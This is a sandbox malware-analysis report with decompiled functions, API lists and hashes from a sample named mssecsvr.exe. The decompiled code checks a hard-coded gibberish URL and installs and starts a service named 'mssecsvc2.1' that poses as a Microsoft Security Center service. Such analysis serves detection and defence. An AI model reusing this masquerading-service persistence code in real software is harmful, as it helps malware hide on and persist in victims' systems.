				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40); // executed
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

0x00409a19
0x00409a1b
0x00409a20
0x00409a2b
0x00409a2c
0x00409a39
0x00409a3e
0x00409a43
0x00409a4a
0x00409a51
0x00409a64
0x00409a72
0x00409a7b
0x00409a80
0x00409a85
0x00409a8b
0x00409a92
0x00409a98
0x00409a99
0x00409a9e
0x00409aa3
0x00409aa8
0x00409ab2
0x00409acb
0x00409ad1
0x00409ad6
0x00409adb
0x00409ae8
0x00409aea
0x00409af0
0x00409b2c
0x00409b31
0x00409b32
0x00409b32
0x00409af2
0x00409af2
0x00409af2
0x00409af3
0x00409af6
0x00409af8
0x00409b03
0x00409b05
0x00409b05
0x00409b06
0x00409b06
0x00409b03
0x00409b09
0x00409b0d
0x00000000
0x00000000
0x00409b13
0x00409b1a
0x00409b24
0x00409b39
0x00409b26
0x00409b26
0x00409b26
0x00409b3a
0x00409b3b
0x00409b3c
0x00409b44
0x00409b45
0x00409b4a
0x00409b4e
0x00409b54
0x00409b59
0x00409b5b
0x00409b5e
0x00409b5f
0x00409b60
0x00409b67

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.KERNELBASE ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000005.00000002.381774645.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.381767519.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381784934.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381824018.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381831383.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381863618.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381977977.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				InternetCloseHandle(_t27);
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000005.00000002.381774645.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.381767519.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381784934.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381824018.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381831383.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381863618.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381977977.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction ID: cdf7c9b464921ed547f6e9cf97b0948ff8b518ee0850ecae1f57fc3afa3cefd0
Opcode Fuzzy Hash: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction Fuzzy Hash: D20186719543106EE310DF348C05B6BBBE9EF85710F01082EF984F7280E6B59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32(00000000,mssecsvc2.1,Microsoft Security Center (2.1) Service,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000,6F75FB10,00000000), ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

mssecsvc2.1, xrefs: 00407C95
%s -m security, xrefs: 00407C50
Microsoft Security Center (2.1) Service, xrefs: 00407C90

Memory Dump Source

Source File: 00000005.00000002.381774645.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.381767519.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381784934.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381824018.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381831383.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381863618.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381977977.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction ID: 2288e5cc66680fabefb91112cf05624c6df81315eb9d87428618c258e2ee617f
Opcode Fuzzy Hash: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
Instruction Fuzzy Hash: AD01D1717C43043BF2305B149D8BFEB3658AB84F01F500025FB44B92D0DAF9A81491AF

Uniqueness

Uniqueness Score: -1.00%

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					return StartServiceCtrlDispatcherA( &_v16);
				} else {
					return E00407F20(_t26);
				}
			}

0x0040809f
0x004080a5
0x004080ab
0x004080ae
0x004080c9
0x004080cb
0x004080cd
0x004080e8
0x004080ea
0x004080ec
0x004080f1
0x004080fa
0x004080fa
0x004080fd
0x00408100
0x00408105
0x0040810e
0x00408116
0x0040811e
0x00408130
0x004080b0
0x004080b8
0x004080b8

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F75FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000005.00000002.381774645.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.381767519.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381784934.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381824018.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381831383.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381863618.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.381977977.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: mssecsvr.exePID: 5680, Parent PID: 604COMMON

Execution Graph

Execution Coverage:	36.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	35
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00408090 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 49
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E00408090() {
				char* _v4;
				char* _v8;
				intOrPtr _v12;
				struct _SERVICE_TABLE_ENTRY _v16;
				long _t6;
				int _t9;
				void* _t19;
				void* _t22;

				_t6 = GetModuleFileNameA(0, 0x70f760, 0x104);
				__imp____p___argc();
				_t26 =  *_t6 - 2;
				if( *_t6 >= 2) {
					_t19 = OpenSCManagerA(0, 0, 0xf003f);
					__eflags = _t19;
					if(_t19 != 0) {
						_t22 = OpenServiceA(_t19, "mssecsvc2.1", 0xf01ff);
						__eflags = _t22;
						if(_t22 != 0) {
							E00407FA0(_t22, 0x3c);
							CloseServiceHandle(_t22);
						}
						CloseServiceHandle(_t19);
					}
					_v16 = "mssecsvc2.1";
					_v12 = 0x408000;
					_v8 = 0;
					_v4 = 0;
					_t9 = StartServiceCtrlDispatcherA( &_v16); // executed
					return _t9;
				} else {
					return E00407F20(_t26);
				}
			}

APIs

GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
__p___argc.MSVCRT ref: 004080A5
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,00000000,?,004081B2), ref: 004080C3
OpenServiceA.ADVAPI32(00000000,mssecsvc2.1,000F01FF,6F75FB10,00000000,?,004081B2), ref: 004080DC
CloseServiceHandle.ADVAPI32(00000000,?,?,?,004081B2), ref: 004080FA
CloseServiceHandle.ADVAPI32(00000000,?,004081B2), ref: 004080FD
StartServiceCtrlDispatcherA.ADVAPI32(?,?,?), ref: 00408126

Strings

mssecsvc2.1, xrefs: 004080D6, 00408105

Memory Dump Source

Source File: 00000008.00000002.972293254.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.972284919.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972336726.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972354718.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972390140.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972491427.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972511311.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972540065.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972592655.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandleOpen$CtrlDispatcherFileManagerModuleNameStart__p___argc
String ID: mssecsvc2.1
API String ID: 4274534310-2839763450
Opcode ID: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction ID: 0eddf8d8cc97b5ba853ece0b0f9ce4fe0dc31dc3004373c78c05f92e851b2f94
Opcode Fuzzy Hash: 14f2d0f9cf239aa653f070f930b60ae04978eb0b591616557438e437b3700a6a
Instruction Fuzzy Hash: 4A014775640315BBE3117F149E4AF6F3AA4EF80B19F404429F544762D2DFB888188AAF

Uniqueness

Uniqueness Score: -1.00%

Function 00409A16 Relevance: 16.6, APIs: 11, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			_entry_(void* __ebx, void* __edi, void* __esi) {
				CHAR* _v8;
				intOrPtr* _v24;
				intOrPtr _v28;
				struct _STARTUPINFOA _v96;
				int _v100;
				char** _v104;
				int _v108;
				void _v112;
				char** _v116;
				intOrPtr* _v120;
				intOrPtr _v124;
				void* _t27;
				intOrPtr _t36;
				signed int _t38;
				int _t40;
				intOrPtr* _t41;
				intOrPtr _t42;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				intOrPtr _t61;

				_push(0xffffffff);
				_push(0x40a1a0);
				_push(0x409ba2);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t58;
				_v28 = _t58 - 0x68;
				_v8 = 0;
				__set_app_type(2);
				 *0x70f894 =  *0x70f894 | 0xffffffff;
				 *0x70f898 =  *0x70f898 | 0xffffffff;
				 *(__p__fmode()) =  *0x70f88c;
				 *(__p__commode()) =  *0x70f888;
				 *0x70f890 = _adjust_fdiv;
				_t27 = E00409BA1( *_adjust_fdiv);
				_t61 =  *0x431410; // 0x1
				if(_t61 == 0) {
					__setusermatherr(E00409B9E);
				}
				E00409B8C(_t27);
				_push(0x40b010);
				_push(0x40b00c);
				L00409B86();
				_v112 =  *0x70f884;
				__getmainargs( &_v100,  &_v116,  &_v104,  *0x70f880,  &_v112);
				_push(0x40b008);
				_push(0x40b000); // executed
				L00409B86(); // executed
				_t55 =  *_acmdln;
				_v120 = _t55;
				if( *_t55 != 0x22) {
					while( *_t55 > 0x20) {
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				} else {
					do {
						_t55 = _t55 + 1;
						_v120 = _t55;
						_t42 =  *_t55;
					} while (_t42 != 0 && _t42 != 0x22);
					if( *_t55 == 0x22) {
						L6:
						_t55 = _t55 + 1;
						_v120 = _t55;
					}
				}
				_t36 =  *_t55;
				if(_t36 != 0 && _t36 <= 0x20) {
					goto L6;
				}
				_v96.dwFlags = 0;
				GetStartupInfoA( &_v96);
				if((_v96.dwFlags & 0x00000001) == 0) {
					_t38 = 0xa;
				} else {
					_t38 = _v96.wShowWindow & 0x0000ffff;
				}
				_push(_t38);
				_push(_t55);
				_push(0);
				_push(GetModuleHandleA(0));
				_t40 = E00408140();
				_v108 = _t40;
				exit(_t40);
				_t41 = _v24;
				_t49 =  *((intOrPtr*)( *_t41));
				_v124 = _t49;
				_push(_t41);
				_push(_t49);
				L00409B80();
				return _t41;
			}

APIs

__set_app_type.MSVCRT ref: 00409A43
__p__fmode.MSVCRT ref: 00409A58
__p__commode.MSVCRT ref: 00409A66
__setusermatherr.MSVCRT ref: 00409A92
_initterm.MSVCRT ref: 00409AA8
__getmainargs.MSVCRT ref: 00409ACB
_initterm.MSVCRT ref: 00409ADB
GetStartupInfoA.KERNEL32(?), ref: 00409B1A
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 00409B3E
exit.MSVCRT ref: 00409B4E
_XcptFilter.MSVCRT ref: 00409B60

Memory Dump Source

Source File: 00000008.00000002.972293254.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.972284919.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972336726.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972354718.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972390140.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972491427.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972511311.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972540065.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972592655.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: _initterm$FilterHandleInfoModuleStartupXcpt__getmainargs__p__commode__p__fmode__set_app_type__setusermatherrexit
String ID:
API String ID: 801014965-0
Opcode ID: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction ID: f220c78e044b43db95b39954543cb8470338bddc8e57b6bf74c51ec52977e19a
Opcode Fuzzy Hash: 372b72291a79fe7f323a7fd117d835006d69336e2c0488ca977e4fa79056e622
Instruction Fuzzy Hash: AF415E71800348EFDB24DFA4ED45AAA7BB8FB09720F20413BE451A72D2D7786841CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00408140 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 46
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E00408140() {
				char* _v1;
				char* _v3;
				char* _v7;
				char* _v11;
				char* _v15;
				char* _v19;
				char* _v23;
				void _v80;
				char _v100;
				char* _t12;
				void* _t13;
				void* _t27;

				_t12 = memcpy( &_v80, "http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com", 0xe << 2);
				asm("movsb");
				_v23 = _t12;
				_v19 = _t12;
				_v15 = _t12;
				_v11 = _t12;
				_v7 = _t12;
				_v3 = _t12;
				_v1 = _t12;
				_t13 = InternetOpenA(_t12, 1, _t12, _t12, _t12); // executed
				_t27 = _t13;
				InternetOpenUrlA(_t27,  &_v100, 0, 0, 0x84000000, 0); // executed
				InternetCloseHandle(_t27);
				InternetCloseHandle(0);
				E00408090();
				return 0;
			}

0x00408155
0x00408157
0x00408158
0x0040815c
0x00408160
0x00408164
0x00408168
0x0040816c
0x00408177
0x0040817b
0x0040818e
0x00408194
0x004081a7
0x004081ab
0x004081ad
0x004081b9

APIs

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040817B
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,84000000,00000000), ref: 00408194
InternetCloseHandle.WININET(00000000), ref: 004081A7
InternetCloseHandle.WININET(00000000), ref: 004081AB

Part of subcall function 00408090: GetModuleFileNameA.KERNEL32(00000000,0070F760,00000104,?,004081B2), ref: 0040809F
Part of subcall function 00408090: __p___argc.MSVCRT ref: 004080A5

Strings

http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com, xrefs: 0040814A

Memory Dump Source

Source File: 00000008.00000002.972293254.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.972284919.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972336726.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972354718.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972390140.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972491427.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972511311.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972540065.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972592655.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleOpen$FileModuleName__p___argc
String ID: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
API String ID: 774561529-2614457033
Opcode ID: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction ID: cdf7c9b464921ed547f6e9cf97b0948ff8b518ee0850ecae1f57fc3afa3cefd0
Opcode Fuzzy Hash: 4b6db363f3c2a0039692f7716f941ccdaf41bdcfad687f466c5e8bce3354d2d7
Instruction Fuzzy Hash: D20186719543106EE310DF348C05B6BBBE9EF85710F01082EF984F7280E6B59804876B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407C40 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00407C40() {
				char _v260;
				void* _t15;
				void* _t17;

				sprintf( &_v260, "%s -m security", 0x70f760);
				_t15 = OpenSCManagerA(0, 0, 0xf003f);
				if(_t15 == 0) {
					return 0;
				} else {
					_t17 = CreateServiceA(_t15, "mssecsvc2.1", "Microsoft Security Center (2.1) Service", 0xf01ff, 0x10, 2, 1,  &_v260, 0, 0, 0, 0, 0);
					if(_t17 != 0) {
						StartServiceA(_t17, 0, 0);
						CloseServiceHandle(_t17);
					}
					CloseServiceHandle(_t15);
					return 0;
				}
			}

0x00407c56
0x00407c6e
0x00407c72
0x00407cd3
0x00407c74
0x00407ca7
0x00407cab
0x00407cb2
0x00407cb9
0x00407cb9
0x00407cbc
0x00407cc9
0x00407cc9

APIs

sprintf.MSVCRT ref: 00407C56
OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F), ref: 00407C68
CreateServiceA.ADVAPI32 ref: 00407C9B
StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00407CB2
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CB9
CloseServiceHandle.ADVAPI32(00000000), ref: 00407CBC

Strings

%s -m security, xrefs: 00407C50
mssecsvc2.1, xrefs: 00407C95
Microsoft Security Center (2.1) Service, xrefs: 00407C90

Memory Dump Source

Source File: 00000008.00000002.972293254.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.972284919.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972336726.000000000040A000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972354718.000000000040B000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972390140.000000000040F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972491427.000000000042E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972511311.000000000042F000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972540065.0000000000431000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000008.00000002.972592655.0000000000710000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_mssecsvr.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$CreateManagerOpenStartsprintf
String ID: %s -m security$Microsoft Security Center (2.1) Service$mssecsvc2.1
API String ID: 3340711343-2450984573
Opcode ID: c3592d809756ac94f014d34e1e4fa0c14de5620095203194e3f9233ad68c92ee
